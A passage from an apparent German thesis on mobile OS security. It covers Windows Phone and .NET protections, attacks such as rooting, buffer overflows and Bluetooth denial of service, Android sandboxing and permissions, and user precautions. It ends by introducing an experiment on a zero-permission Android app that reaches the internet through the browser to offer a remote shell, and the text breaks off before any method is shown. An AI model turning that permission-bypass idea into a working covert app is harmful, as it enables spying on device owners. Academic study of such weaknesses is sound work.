Die Assembly kann nur ordnungsgemäß ausgeführt werden, sofern alle Berechtigungen erteilt wurden. Das Richtliniensystem verfügt über die Möglichkeit, je nach Typ der Berechtigungsanforderung weitere Einschränkungen vorzunehmen, oder das Laden der Assembly ganz zu verhindern [Webz, vgl. „Richtliniengesteuertes Vertrauensmodell anhand von Codebeweisen“].
Verwendet ein Entwickler das .NET Framework, bekommt er „Gratis“-Sicherheit, ohne es direkt zu merken. Beispiele dafür sind das Schreiben und Lesen von Dateien oder Umgebungsvariablen. Ferner müssen beim Anzeigen von Dialogfeldern keinerlei Sicherheitsaufrufe durchgeführt werden, da dies das Framework übernimmt. Die Sicherheit, die beim Zugriff auf den Code bereit gestellt wird, sorgt dafür, dass die meisten Angriffe auf diesen verhindert werden [Webz, vgl. „“Gratis“-Sicherheit für .NET Framework-Aufrufe“].

Rollenbasierte Sicherheit

Die rollenbasierte Sicherheit sorgt dafür, dass die Autorisierungsentscheidung anhand einer Identität oder einer Rolle durchgeführt wird. Das .NET Framework stellt Dienste bereit, die eine solche Logik auf Basis von Identitäten und Hauptberechtigungen ermöglichen. Die Identität wird durch den am System angemeldeten Benutzer oder durch eine Anmeldung dieses definiert. Anschließend wird eine Hauptberechtigung erteilt. Diese setzt sich aus der Identität und den Rolleninformationen zusammen [Webz, vgl. „Rollenbasierte Sicherheit“].

Isolierter Speicher

Der isolierte Speicher verfügt über einen neuen Satz an Typen und Methoden. Jede Assembly hat Zugriff auf einen separaten Speicherbereich auf dem Datenträger.

Dadurch wird erreicht, dass kein Zugriff auf Daten anderer Anwendungen oder Speicherbereiche möglich ist. Dem isolierte Speicher steht somit nur die Assembly zur Verfügung, für die er bereitgestellt wurde. Dieser Speicherbereich wird unter anderem verwendet, um Aktivitätsprotokolle, Einstellungen oder Statusdateien zu speichern [Webz, vgl. „Isolierter Speicher“].

Verschlüsselug

Das .NET Framework unterstützt einen Satz von Verschlüsselungsobjekten (Verschlüsselung, digitale Signatur, Hashing und das Generieren von Zufallszahlen). Weiterhin bietet es eine Auswahl an Algorithmen zur Verschlüsselung oder Signierung: RSA, DSA, Rijndael/AES, Triple DES, DES und RC2. Zum Hashing stehen: MD5, SHA1, SHA-256, SHA-384 und SHA-512 zur Verfügung. Digitale Signaturen können mit der vom IETF und W3C entwickelten XML-Spezifikation ausgeführt werden [Webz, vgl. „Verschlüsselung“].
Windows Phone 8 unterstützt die Dateisystemverschlüsselung mit AES-128. Die Verschlüsselung kann entweder über die EAS [2] Richtlinien aktiviert werden oder über die „device management policy“. Der Entschlüsselungsschlüssel ist durch das „Trust Platform Module“ (TPM) [3] geschützt und an das „UEFI Trusted Boot“ gebunden. Hierdurch soll sichergestellt werden, dass der Entschlüsselungsschlüssel nur an Komponenten weitergegeben wird, die durch das „trusted boot“ freigegeben sind [Webaq, vgl. „Device encryption“].

Sicherheitsverhalten

Eine Assembly kann zur Laufzeit das Sicherheitsverhalten ändern. Dies kann deklarativ oder imperativ geschehen [Webz, vgl. „Angeben der Sicherheitsart“].
Beim deklarativen Vorgehen werden die Sicherheitsanforderungen in den Metadaten des Assemblycodes angegeben. Die Benutzerberechtigungen werden in Form von

[2] Microsoft Exchange ActiveSync ist ein Protokoll zum Syncornisieren von e-Mails, Kontakten und mehr von einem Nachrichtenserver zu einem Endgerät [Webr, vgl.].

[3] Ist ein Chip, der in Endgeräten verbaut ist. Er ermöglicht die Herstellung einer „vertrauenswürdige Plattform“. TPM verhält sich wie eine fest eingebaute Smartcard. Auf ihm ist ein eindeutiger kryptographischer Schlüssel gespeichert [Webal, vgl.].

benutzerdefinierten Attributen festgelegt. Die Sicherheitsanforderungen können leichter Identifiziert werden, da sie in den Metadaten bekannt sind [Webz, vgl. „Deklarative Sicherheit“].
Bei der imperativen Variante erfolgt eine Implementierung direkt im Code. Dies ermöglicht, je nach Status und Sicherheitsstack Berechtigungen zu erteilen oder zu verweigern. Dadurch ist es möglich, auf Veränderung zu reagieren. Ein Anwendungsbeispiel ist der Zugriff auf eine Datei, bei der Informationen während der Laufzeit verändert werden (Dateipfadänderung) [Webz, vgl. „Imperative Sicherheit“].

App Sicherheit

Jede App unter Windows Phone läuft in seiner eigenen „chamber“. Die chamber oder auch das Kammer-Konzept ordnet jeder App eine von vier Kammern zu: Trusted Computing Base (TCB), Elevated Rights Chamber (ERC), Standard Rights Chamber (SRC), Least Privileged Chamber (LPC) [Webaq, vgl. „Chambers and capabilities“] [Webat, vgl. Seite 1f].
Die Signierung einer App wird durch Microsoft, nach einer erfolgreichen Prüfung der App, durchgeführt. Nachdem die App durch Microsoft zertifiziert wurde, wird sie im Store bereit gestellt [Webas, vgl. „Code signing“]

Endgerätesperre

Der Zugriffsschutz auf ein Windows Phone 8 kann durch die Eingabe einer Pin oder eines Passworts geschehen. Für das Passwort sind Zeichen aus dem Alphabet sowie ein komplexer Aufbau aus Zeichen und Zahlen erlaubt. Mit der „ActiveSync policie“ können Regeln für Passwörter definiert werden, wie zum Beispiel Länge oder Komplexität [Webas, vgl. „Password security“] [Webaq, vgl. „Device access and security policies“].
Eine Entsperrung über ein Muster ist bei Windows Phone 8 über Installation einer App, wie zum Beispiel „Dot Lock“, möglich [Webo, vgl.].
Aus den Microsoft-Quellen geht nicht hervor, ob eine Authentifikation mit Gesichtserkennung möglich ist [Webaq, vgl.] [Webas, vgl. „Password security“].

Fernwartung

Windows 8 bietet einen Service zum entfernten Zugriff auf das mobile Endgerät namens „Find My Phone“. Dieser Dienst wird über die windowsphone.com Website angeboten. Hier können Dienste wie die Standortanzeige, das Sperren und Anzeigen einer Mitteilung sowie das Löschen des Endgerätes durchgeführt werden. Der Remote wipe kann entweder durch einen Administrator oder den Benutzer selbst vollzogen werden [Webas, vgl.][Webap, vgl.].

Zusammenfassung zu den Kriterien

In Tabelle 2.3 sind alle Kriterien, die das Windows Phone Betriebssystem standardmäßig unterstützt, zusammengefasst.

Tabelle 2.3: Kriterienzusammenfassung für Windows Phone (Quelle: Privat)

Kriterien	Feinziele	Verfahren
Sicherheit privater Daten	Verschlüsselung Interner Zugriff	BitLocker AES-128 ASLR
Sicherheit der Passwörter		
Physikalischer Zugriff (Entsperrung)	Passwortschutz Fingergesten Gesichtserkennung	Pin und Passwort mit Zusatz App nicht angegeben
Systemverschlüsselung		BitLocker AES-128
Fernzugriff	Ortung wipe	Ja(FindMyPhone) Ja(FindMyPhone)
App-Schutz		chamber, isolierter Speicher

2.2 Allgemeine Sichehreitsangriffe

Im Kapitel allgemeine Sicherheitsangriffe, wird zwischen Angriffen die einen direkten Zugriff auf ein Endgerät und denen die dies nicht benötigen unterschieden. Grund für diese Unterscheidung sind die verschiedenen Situationen in denen ein Endgerät angegriffen werden kann. (Beispiel Bewegung im öffentlichen Raum oder zu Hause auf der Coutch)

2.2.1 Angriff mit physischem Zugriff

In diesem Kapitel sollen Möglichkeiten der Manipulation eines Endgerätes durch einen Angreifer diskutiert werden, der das jeweilige Gerät in seinen Besitz gebracht hat.

Hardwareanalyse und -manipulation

Wenn der Angreifer in Besitz der Hardware ist, hat er die Möglichkeit, den internen und externen Speicher zu manipulieren. Weiterhin kann das Betriebssystem kompromittiert werden und zu einem unerwünschten Verhalten gebracht werden. Nach dieser Manipulation könnte das Endgerät dem Besitzer unbemerkt zurückgegeben werden, ohne das dieser eine Veränderung oder gar die Entwendung bemerkt. Später können dann aus der Ferne alle Aktivitäten des Endnutzers beobachtet werden [Inf13a, vgl. Seite 17].
Ein Angreifer kann bei physikalischem Zugriff auf das Endgerät eine Analyse der Nutzerspuren durchführen. Die Authentifizierung zum Beispiel per Muster, wie auch in der vorliegenden Arbeit vorgestellt, hinterlässt durch wiederholtes Eingeben Spuren auf dem Display des Endgerätes. Diese können nachvollzogen und für einen Logineversuch genutzt werden [Inf13a, vgl. Seite 17].

Rooten

Der nächste Angriff für den ein physischer Zugriff nützlich ist, ist das Rooten eines Endgerätes. Durch das Rooten wird erreicht, dass auf ein Endgerät eine andere Systemfirmware aufgespielt werden kann. Die Namensgebung „rooting“ kommt daher, dass den höchsten Zugriff auf ein Linux-System der Root-Benutzer besitzt [JT12, vgl. Seite 21f]. Das Rooten eines Endgerätes hat Vor- und Nachteile. Die

Vorteile die durch das Rooten entstehen sind unter anderem, dass die Nutzbarkeit des Endgerätes verlängert wird, da für die meisten Endgeräte eine Herstellerunterstützung mit Updates nur bis zu einer bestimmte, durch den Hersteller festgelegten, Version gewährleistet wird. Daraus folgt der nächste Vorteil. Herstellerseitig stehen ab einer bestimmten Firmwareversion keine neuen Sicherheitsupdates für das Endgerät zur Verfügung [JT12, vgl. Seite 21ff]. Dies liegt daran, dass die Hersteller, die von Google zur Verfügung gestellte Android-Version auf ihre Hardware anpassen müssen. Das Verursacht einen hohen Aufwand beim Hersteller, der nicht immer Umgesetzt wird. Ein Grund dafür kann sein, dass nach dem Verkauf eines Endgerätes durch die Updates kein Geld verdient wird [Webai, vgl.] [Sch12, vgl.]. Das Rooten ermöglicht, das ohne den Hersteller, weiterhin Firmwareupdates aufgespielt werden können, sofern eine neuere Firmware für das verwendete Endgerät vorhanden ist [JT12, vgl. Seite 21ff]. Die Nachteile die durch das Rooten entstehen sind, dass die Herstellergarantie in den meisten Fällen erlischt. Ein weiteres Problem ist, dass es passieren kann, dass das Endgerät ein Backstein (engl.: Brick) wird. Das Problem besteht, da durch das Rooten in Boot-Vorgänge eingegriffen wird.
Da im Analyse Kapitel schon erwähnt wurde, dass im Bootprozess der Endgeräte nur signierte Firmwares akzeptiert werden, gibt es bei Android die Möglichkeit das „security flag“ auf „S-OFF“ zu setzen. Hierdurch wird erreicht, dass beim Bootvorgang nicht signierte Firmwares akzeptiert werden. Die Schritte die beim Starten des Systems ausgeführt werden, folgen meist dem gleichen Schema. Als erstes wird aus einem nur lesbaren Speicher der Start-Bootloader geladen. Dieser Bootloader ist ein „application-specific integrated circuit“ [4] (ASIC) und hält den Code in einer permanenten unveränderbaren Form. Nun lädt dieser Bootloader den zweiten Bootloader. Es wird hierbei geprüft, ob das “security flag“ auf S-ON oder S-OFF gesetzt ist. Bei S-ON akzeptiert der erste Bootloader nur signierte also somit Offizielle Kernel. Ist S-OFF gesetzt wird keinerlei Signierung geprüft. Weiterhin werden durch das S-OFF noch einige Sicherheitsfunktionen deaktiviert, wie zum Beispiel der ausschließliche Lesezugriff auf das Dateisystem wird um das Schreibrecht erweitert oder das Installieren von anderen recovery Prozeduren ermöglicht. Im dritten Schritt wird dann der Kernel in den Speicher geladen. Der vierte und letzte Schritt ist die Initialisierung.

[4] „[...] ist eine elektronische Schaltung, die als integrierter Schaltkreis realisiert wurde“ [Webd]

Sie ist die “mother“, also der übergeordnete Prozess von allen anderen Prozessen die auf dem Endgerät ausgeführt werden. Unter anderem Startet dieser Prozess die Dalvik VM die von manch anderem Prozess benötigt wird [JT12, vgl. Seite 15f].

2.2.2 Angriff ohne physischen Zugriff

Bei Angriffen ohne physischen Zugriff handelt es sich um andere Zugangsmöglichkeiten des Angreifers, um Zugang zum Endgerät zu erlangen. Dies kann beispielsweise durch infizierte Apps, manipulierte Bluetooth-Verbindungen oder manipulierte Webseiten geschehen.

Speicherüberlauf (buffer overflows)

Pufferüberläufe sind Programmierfehler, die darauf beruhen, dass zu klein dimensionierte Datenfelder oder fehlende Kontrollstrukturen zu einer höheren Datenaufnahme eines Programmes führen, als es speichern kann.
Diese Fehler treten oft in kleinen Nebenfunktionen auf, denen die Programmierer weniger Aufmerksamkeit schenken, da sie für das Gesamte nicht viel beitragen [Rog+03, vgl. Seite 308]. Die heutigen Compiler und Betriebssysteme verwenden Mechanismen, die das Ausnutzen von buffer overflows erschweren sollen. Einer dieser Mechanismen ist “Address Space Layout Randomization“ (ASLR). ASLR bedeutet, dass die Adressen, an denen die Daten abgelegt werden, beim Starten dynamisch zufällig bestimmt werden und somit immer eine andere Stelle im Speicher zugewiesen wird. Es wird schwer, einen buffer overflow auszunutzen, da der Angreifer die Stelle an der er den Speicher überschreiben muss, nicht einfach statisch bestimmen kann [Cha13, vgl.]. Dies kann mit der Technik Spraying umgangen werden. Bei Spraying wird der einzuschleusende Code (Schadcode) über einen Speicherbereich von mehren hunderten Megabyte dupliziert. Bei dieser Technik wird davon ausgegangen, dass die Adresse zwar zufällig vergeben wird, aber sie nur in einem bestimmten Bereich sein kann [Webm, vgl.][Webb, vgl.]. Das iOS-System, Windows 8 und Android 4.1 Jelly Bean [Fis, vgl.] verwenden den ASLR Mechanismus, um ihre Apps zu schützen.
Eine andere Variante Speicherüberläufe zu verhindern, ist die “Data Execution Prevention“ (DEP). DEP bedeutet, dass im Speicher Bereiche als “nur lesend“ gesetzt werden können und somit alles, was in diesen Bereichen steht, vom Betriebssystem nicht ausgeführt werden kann. Die Sun JVM (Java Virtual Machiene) stellt sich

über diesen Schutz und fordert alle Speicherbereiche mit
“PAGE_EXECUTE_READWRITE“ an, dies bedeutet, dass alle Speicherbereiche ausführbar sein müssen [Webm, vgl.].

Denial-of-Service-Attacken

Ist der Angreifer nicht im Besitz des mobilen Endgerätes, so kann er über verschiedene Denial-of-Service-Attacken auf das System zugreifen. Unter anderem ist es möglich, durch manche Implementierungen des Bluetooth-Stacks das System durch spezielle formatierte Bluetooth-Pakete abstürzen zu lassen. Der Nachteil für den Endbenutzer ist dabei das Außerkraftsetzen seiner Erreichbarkeit und die Erforderlichkeit einer erneuten Systemanmeldung. Weiterhin kann durch einen Neustart schädliche Software durch Sicherheitslücken im Betriebssystem tiefer eindringen [Inf13a, vgl. Seite 20].

Ausführen von nicht vertrauenswürdigem Code

Das Ausführen von nicht vertrauenswürdigem Code ist besonders dann problematisch, wenn dieser Code die Möglichkeit hat, die Rechte privilegierter Benutzer zu erhalten oder ein anderes als das beschriebene Verhalten anzunehmen. Hiermit sind Anwendungen gemeint, die von Quellen dritter stammen und nicht genau geprüft wurde, ob durch die Ausführung ein Schaden für den Endbenutzer entstehen kann. Ist dies der Fall, könnten Systemänderungen durchgeführt werden, die nicht vom Benutzer beabsichtigt sind und somit ohne dessen Wissen stattfinden.[Inf13a, vgl. Seite 20]. Damit dieses Risiko reduziert wird, behält sich Android vor, seit der Version 4.2 ebenfalls einen Test bei der Installation von Apps aus diesen Quellen durchzuführen.

2.3 Maßnahmen zur Sicherheitsgewährleistung

Die mobilen Betriebssysteme haben einen erhöhten Sicherheitsbedarf. Dieser besteht unter anderem, wie schon in der Einleitung angesprochen, wegen der erhöhten Verwendung im öffentlichen Raum.

2.3.1 Sandboxing

Sandboxing ist eine Sammlung von Technologien, um Anwendungen zu isolieren. Es wird eine genaue Festlegung erreicht, die sich darauf bezieht, welche Funktionen einer Anwendung zugänglich sind und auf welche Daten sie zugreifen kann. Weiterhin wird ermöglicht, dass Fehler in einer Anwendung keine Auswirkung auf andere Anwendungen hat. Besitzt eine Anwendung eine Lücke, durch die es möglich ist, in das System einzudringen, dann verhindert die Sandbox, dass ein Zugriff auf andere Anwendungen oder sensible Daten möglich ist. Vorausgesetzt ist, dass die Anwendung durch die der Einbruch stattfand, nicht auf die sensiblen Daten Zugriff hat, da sie sonst über die Zugriffsrechte verfügt [Webao, Vgl.]. Ein Beispiel dafür ist, dass eine App in der Sandbox keinen Zugriff auf das Adressbuch hat. Wenn nun diese App durch dritte manipuliert wird, besitzen sie immer noch keinen Zugriff auf das Adressbuch. Wenn die App aber von Anfang an auf das Adressbuch Zugriff hat, da es zum Beispiel eine Telefon-App ist, dann besitzen auch die Manipulierer der App Zugriff darauf.
Das Sandboxkonzept wird genutzt, um Programme aus nicht vertrauenswürdigen Quellen auszuführen und deren Verhalten zu beobachten beziehungsweise zu analysieren. Ein Beispiel hierfür ist die Malware Analyse. Das Programm hat dabei keinen Zugriff auf das Betriebssystem, auf dem die Sandbox läuft (im Folgenden Host System genannt). Die Sandbox simuliert den Prozessor, den Arbeitsspeicher und das Dateisystem, somit gibt es keinen direkten Zugriff auf die Ressourcen des Host Systems aus der Sandbox [Col09, Vgl. Seite 64].

Android Sandbox

Die Dalvik Virtual Machine (DVM) ist eine Registermaschine. Sie wurde von Google entwickelt und ist Hauptbestandteil der Android-Plattform. Die DVM konvertiert Software, die für eine Java Virtual Machine (JVM) entwickelt wurde in ein eigenes Byte-Code Format (dex) und führt diesen Byte-Code aus. Die DVM ist ressourcenschonend und schnell, da sie Registermaschienencode verarbeiten kann. Der Unterschied zwischen der JVM und der DVM ist, dass die bei der JVM verwendeten virtuellen Register bei der DVM in reale Register umgewandelt werden. Dies bringt den Nachteil, dass die Flexibilität, den Code auf jeder beliebigen Architektur laufen

zu lassen, weg fällt. Da die DVM allerdings hauptsächlich auf ARM-Architekturen läuft, stellt dies ein geringes Problem dar. Die DVM kann pro Lesevorgang doppelt so viele Bytes laden, wie die Standard JVM. Die Android-Plattform erzeugt für jedes Programm eine eigene DVM [Webk, Vgl.][Nic, Vgl. Seite 2].
Alle Androidanwendungen teilen sich einen speziellen Bereich, in dem vorkompilierte dex-Dateien liegen. In diesen Bereich kann Zygote vor dem Applikationsstart die wichtigsten Java-Pakete laden. Weiterhin besitzt jeder Linux-Prozess die "bionic library" (eine normale C-Standard-Library)[Nic, Vgl. Seite 1].
Die Betrachtung der Klassendefinitionsverifizierungsprozesses mit Zygote soll an einem Beispiel deutlicher werden. Die Selbstdefinition einer Stringklasse würde zu einem Konflikt mit der Standard java.lang.String führen. Geht der Verifizierungsprozess davon aus, dass die Stringklasse schon in der core.jar definiert ist, würde die DVM später merken, dass etwas nicht in Ordnung sein kann. Damit dies nicht passiert, prüft dexopt, ob zu der Signatur der Klassendefinition eine früher verifizierte Klasse passt. Ist das der Fall, stoppt dexopt und verifiziert bzw. optimiert nicht weiter. Dadurch wird die Verifizierung der Klassendefinition in die DVM verlagert. Die DVM achtet dabei strikt darauf, dass allw Referenzen in der App oder im bootstrap.apk vorhanden sind. Dadurch soll vermieden werden, dass ein benutzerdefinierter Class Loader andere Klassen, wie zum Beispiel die core.jar, laden kann, die dann eventuell einen modifizierten Code beinhaltet (zum Beispiel einen Virus) [Nic, Vgl. Seite 6][Pro08, Vgl.].

2.3.2 Rechteverwaltung

Android verfolgt ein Alles-oder-Nichts-Prinzip bei der Rechtevergabe. Der Benutzer entscheidet, ob er einer App die angeforderten Rechte erlaubt oder nicht. Hierbei hat er keinerlei Möglichkeit, nur bestimmte Rechte zu erlauben. Das bedeutet, dass bei der Installation entweder alle Rechte gewehrt werden oder ein Abbruch stattfinden muss [Naw13, vgl.]. Die Rechte werden wie oben schon beschrieben in der „AndroidManifest.xml" festgelegt. Dadurch ergibt sich eine gute Übersicht. Den Rechten werden „protection level" zugeordnet. Dies dient einer besseren Darstellung des Gefährdungspotentials. Es gibt folgende vier Ebenen: normal, dangerous, signature, signature-or-system. Mit der Ebene „normal" sind Zugriffsrechte beschrieben, die keinerlei Gefährdung für den Benutzer oder das Endgerät darstellen (Beispiel

Flashlight). Die Ebene zwei „dangerous“ beinhaltet Rechte, die eine hohe Gefahr für den Endanwender darstellen, sei es durch das Verursachen von Kosten oder der Zugriff auf sensible Daten. In der Ebene drei „signature“ sind Apps, die das Recht benötigen, mit anderen Apps desselben Herstellers zu kommunizieren. Die Ebene vier „signature-or-system“ ist eine spezielle Form von „signature“ und wird werksseitigen Apps zur Verfügung gestellt [Naw13, vgl. „Manifest Permissions“].

2.3.3 Resümee

Das von iOS verfolgte Konzept, nur Apps aus dem eigenen Store zu installieren, gewährleistet hohe Kontrollierbarkeit. Dies bezieht sich nicht nur auf den finanziellen Aspekt. Sie haben somit auch die Möglichkeit, die Apps zu Kontrollieren und sicherzustellen, dass die Apps keine „böswilligen“ Abischten haben. Zudem kann iOS die Apps signieren und damit zur Laufzeit auf dem Endgerät immer prüfen, ob eine Manipulation stattgefunden hat. Die Vorteile, die dies mit sich bringt, sind klar. Jedoch gibt es für den Benutzer auch einige Nachteile. Er kann zwar etwas beruhigter in Bezug auf die Sicherheit sein, ist dadurch aber auch abhängig. Es gibt keine Möglichkeit, einen anderen Anbieter von Apps zu verwenden oder gar in einer Firma eigens entwickelte Apps auf das Endgerät einzuspielen, ohne bei Apple als Entwickler registriert zu sein. Dadurch wird zugunsten der Sicherheit, Unabhängigkeit und Freiheit aufgegeben.

An dieser Stelle ist der Weg von Android benutzer- und entwicklerfreundlicher, da sie die Möglichkeit anbieten, dass durch explizites Anschalten von Quellen „Unbekannter Herkunft“ Anwendungen installiert werden können, die nicht im „Play Store“ vorhanden sind. Hierbei muss dem Benutzer allerdings klar sein, dass nun keinerlei Sicherheitsprüfung von Google stattfinden kann. Erst seit der Version 4.0 hat Google einen Mechanismus, mit dem sie sich eine Prüfung vorbehalten. Eine Meldung sieht wie folgt aus „Google darf installierte Apps regelmäßig auf potenziell gefährliches Verhalten prüfen“.

Die Möglichkeit der App-Signierung wäre daher sehr wünschenswert. Das würde bedeuten, es können Apps von Dritten installiert werden und zusätzlich kann anhand der Signierung geprüft werden, ob die App wirklich von der angegebenen Person stammt. Dies schließt nicht aus, dass die App immer noch gefährdet ist, stellt aber sicher, dass sie von der angegebenen Person ist.

Wie kann sichergestellt werden, das Apps von Dritten installiert werden können, die zudem noch auf Sicherheitskriterien geprüft werden? Android erreicht mit Ihrem Rechtesystem, dass bei der Installation einer App dargestellt wird, auf welche Dienste die App Zugriff haben möchte. Dies hat den Vorteil, dass der Benutzer an dieser Stelle noch die Möglichkeit hat, die Installation abzubrechen, wenn er feststellt, dass die App Dienste benötigt, die sie laut Beschreibung gar nicht braucht. Ein Beispiel dafür ist eine App, die Notizen erstellt, aber Zugriff auf das Telefonmodul oder die Kontaktdatenbank haben möchte. So wie das Rechtekonzept implementiert ist, stehen alle Anforderugen in der Manifest-Datei der App und sind immer einsehbar. Das Konzept gewährleistet weiterhin, dass die Rechte nicht nachträglich geändert werden können. Dies bedeutet, dass eine App nicht nachträglich Zugriff auf andere als die bei der Installation vereinbarten Dienste bekommt.
So Verschieden die Mobilen Betriebssysteme und ihre Konzepte sind, sei es ein Freies-System, ein System das genau so Aussehen und sich Verhalten soll wie ein PC-System oder Apple's Weg der kompletten Geschlossenheit. So haben diese Systeme grundlegend einige Gemeinsamkeiten. Sie besitzen zum Beispiel alle einen werksseitig einmalig beschriebenen Speicher, der nicht geändert werden kann und beim Bootvorgang der auf ihm befindliche Code ausgeführt wird.
Weiterhin setzen sie zum Beispiel auf Virtualisierung und Kapselung, sodass die Daten von Anwendungen und Betriebssystem getrennt sind.

3 Sicherheitskonzepte am Beispiel von Android

Sowohl Entwickler als auch der Benutzer selbst können Beiträge leisten, um mehr Sicherheit zu gewährleisten. Daher soll in diesem Kapitel aufgezeigt werden, welcher Beitrag geleistet werden kann.

3.1 Sicherheitsmitwirkung der Entwickler

Die Entwickler können unter anderem durch sichere Apps einen Beitrag zu mehr Sicherheit leisten. Der Zugriff auf Kernfunktionen des Android-Systems sind geschützt und können nur durch Ausdrückliches anfordern über einen entsprechenden Eintrag in der Manifest-Datei erlangt werden [Webad, vgl. Using Permissions][Webc, vgl.]. Eine Ausführlichere Liste der Zugriffsberechtigungen die Erworben werden können, steht im Entwicklerbereich von Android [Weby, vgl.]. Wenn eine Anwendung die Installiert wird Zugriff auf eine geschützte Funktion benötigt, wird dies dem Benutzer vor der Installation angezeigt. Wenn nun ein unerwünschter Zugriff stattfinden würde, kann der Benutzer die Installation abbrechen. Greift eine App auf eine geschützte Funktion zu, ohne dies in der Manifest-Datei anzufordern, wird eine Ausnahme gewurfen, die die App bekommt. Die Philosophie von Android nur Berechtigungszustimmungen bei der Installation einer App zu verlangen, begründet sich aus der Annahme, das die Entwickler der Meinung sind, dass ein Benutzer aufmerksamer eine solche Nachricht studiert, als permanent bzw. immer beim App-Start eine Benachrichtigung über die benötigten Rechte anzuzeigen. Witerhin gehen die Entwickler davon aus, dass das Rechte-Konzept für eine größere Anzahl Benutzer leicht verständlich ist [Webc, vgl. „How Users Understand Third-Party Applications“].

3.2 Sicherheitsmitwirkung der Benutzer

Der Benutzer kann selber dazu beitragen, dass die Sicherheit seines mobilen Endgerätes und der darauf befindlichen Daten erhöht wird. Dies kann zum Beispiel durch die Verschlüsselung des Systems, eine Zugangsbeschränkung und einen aktiven Umgang beim Verwenden des mobilen Systems geschehen.

3.2.1 Systemverschlüsselung

Wenn die Verschlüsselung aktiviert wurde, kann sie nur durch das komplette Rücksetzen in den Auslieferungszustand rückgängig gemacht werden. [Webp, vgl.] Das Verschlüsseln des Speichers und der Anwendungen kann zügig gestartet werden, über Einstellungen > Speicher > Speicherverschlüsselung. Getestet mit Android Version 2.3.3. Zum Verschlüsseln wird dm-crypt von Linux mit dem Algorithmus AES128 with CBC and ESSIV:SHA256 [Webq, vgl.] [Webp, vgl. „How Android encryption works“] verwendet.
Um Angriffen durch rainbow tables oder Brute force stand zu halten wird das Passwort mit einem zufällig generierten Satz und mit SHA1 gehashet. Dies wird mit dem Standard PBKDF2 Algorithmus umgesetzt Um sichere Passwörter zu verwenden, die nicht in einem “Wörterbuch“ stehen, können durch einen Administrator Passwort regeln erstellt werden. [Webp, vgl. „Enabling encryption on the device.“]

3.2.2 Zugangsbeschränkung und Passwortspeicherung

Der Endbenutzer hat einen Einfluss darauf, wie sicher die von ihm verwendete Verschlüsselung ist. Verschlüsselungsverfahren, die mit Passwörtern arbeiten, sind darauf angewiesen, dass der Endbenutzer ein möglichst komplexes Passwort verwendet. Das Bundesamt für Sicherheit in der Informationstechnik (BSI) hat Richtlinien veröffentlicht, die einen guten Umgang mit Passwörtern unterstützen sollen. Sie beziehen sich bei den Hinweisen auf die Passwortlänge und die Komplexität, also die Verwendung von Groß- und Kleinbuchstaben. Ferner weisen sie darauf hin, dass die Passwörter nicht notiert werden sollten. Ein weiterer sehr wichtiger Punkt nach eigener Ansicht ist das regelmäßige Ändern der Passwörter, welches ebenfalls in der Liste der Empfehlungen des BSI steht [Inf13b, vgl.].

3.2.3 Aktive Prüfung bei der App Installation

Wie oben schon erwähnt, hat der Benutzer vor der Installation einer App die Möglichkeit anhand der Rechte die diese App benötigt, zu entscheiden, ob er die Installation beginnt oder nicht. An dieser Stelle sind alle Dienste aufgelistet, auf die die App zugreifen möchte. Mit der Bestätigung zur Installation werden diese Rechte der App genehmigt. Versucht nun die App zur Laufzeit auf einen Dienst zuzugreifen, für den sie keine Rechte beantragt hat, wird ihr der Zugriff verweigert. Da der externe Speicher entweder nicht Verschlüsselt werden kann oder einfach zu entfernen ist, sollten Apps nicht in den externen Speicher installieren oder persönliche Daten dort abgelegt werden.

3.2.4 Vorsicht bei Werbung in App's

In Kostenlosen App's wird oft Werbung eingeblendet. Durch das klicken auf eine Werbung, wird meist auf eine Internetseite umgeleitet. Hierdurch kann zum Beispiel der USSD-Code-Angriff durchgeführt werden. Der Entwickler der App weiß meist nicht, welche Werbung in der App gezeigt wird. Bei gerooteten Systemen gibt es App's die die Anzeige der Werbung unterbinden, wie zum Beispiel AdFree.

3.2.5 Emails verschlüsseln

Es gibt zwei verbreitete Verfahren, um e-Mails auf mobilen Endgeräten zu verschlüsseln. Das erste Verfahren ist „Secure Multipurpose Internet Mail Extensions“ (S/MIME). Das zweite Verfahren ist „Pretty Good Privacy“ (PGP) oder „GNU Privacy Guard“ (GPG), welche die freie Variante von PGP ist. Beide Verfahren sind auf Android nicht ohne die Installation von Apps möglich [Inf13c, vgl.]. Für Android steht die App „DJIGZO“ zur Verfügung, sie setzt das S/MIME Verfahren ein und kann mit den gängigen e-Mail Apps genutzt werden [Bri13, vgl.]. Für PGP bzw. GPG gibt es die App „APG“, welche Open Source ist [Webe, vgl.].

4 Praxisversuche

In diesem Kapitel werden einige im Vorfeld angesprochenen Mechanismen praktisch getestet, um zu prüfen inwieweit die Umsetzung möglich ist. Der Verwendete Quellcode ist auf der beiliegenden CD oder unter `github.com/chrisUse/Master` verfügbar.

4.1 Anwendung, die regulär Zugriffsrechte anfordert

Im ersten Praxisversuch wird davon ausgegangen, dass der Benutzer eine Software installiert, welche die Lösung seiner Aufgabe (wie zum Beispiel die Darstellung des aktuellen Wetters) erledigt. Das wirkliche Ziel der Software ist es hingegen, an persönliche Daten des Benutzers zu gelangen. Bei der Installation werden dem Benutzer die Zugriffsrechte aufgezeigt, die diese Software benötigt. Wenn der Benutzer unachtsam ist und die Verwendung aller Anforderungen der Software bestätigt, die die Software nicht in erster Linie zur Erledigung der beschriebenen Aufgabe benötigt, besitzt diese nun viel Zugriff auf das System. An dieser Stelle ist der Benutzer erheblich im Nachteil.
Auf der Defcon 18 wurde ein interessantes Beispiel beschrieben [LRW10, vgl.]. Das Ziel dieser Idee ist es, bei der Installation der App keinerlei Rechte zu beanspruchen. Die App soll in der Lage sein, eine Internetverbindung herzustellen, für die normalerweise das Recht „android.permission.INTERNET“ benötigt wird. Weiterhin soll sie über diese Verbindung eine „Remote shell“ bereitstellen. Da leider kein genauer Quellcode dafür mit veröffentlicht wurde, wird zum prüfen dieser Idee vom Autor eine Quellcodeumsetzung durchgeführt.

Die Internetrechte

Damit eine App die Möglichkeit besitzt, Anfragen an einen Server im Internet zu stellen, kann sie die Anfragen an den Browser des Android-Systems richten. Dieser macht seinerseits eine Activity auf und zeigt die Zielseite an.

Die Rückwirkung

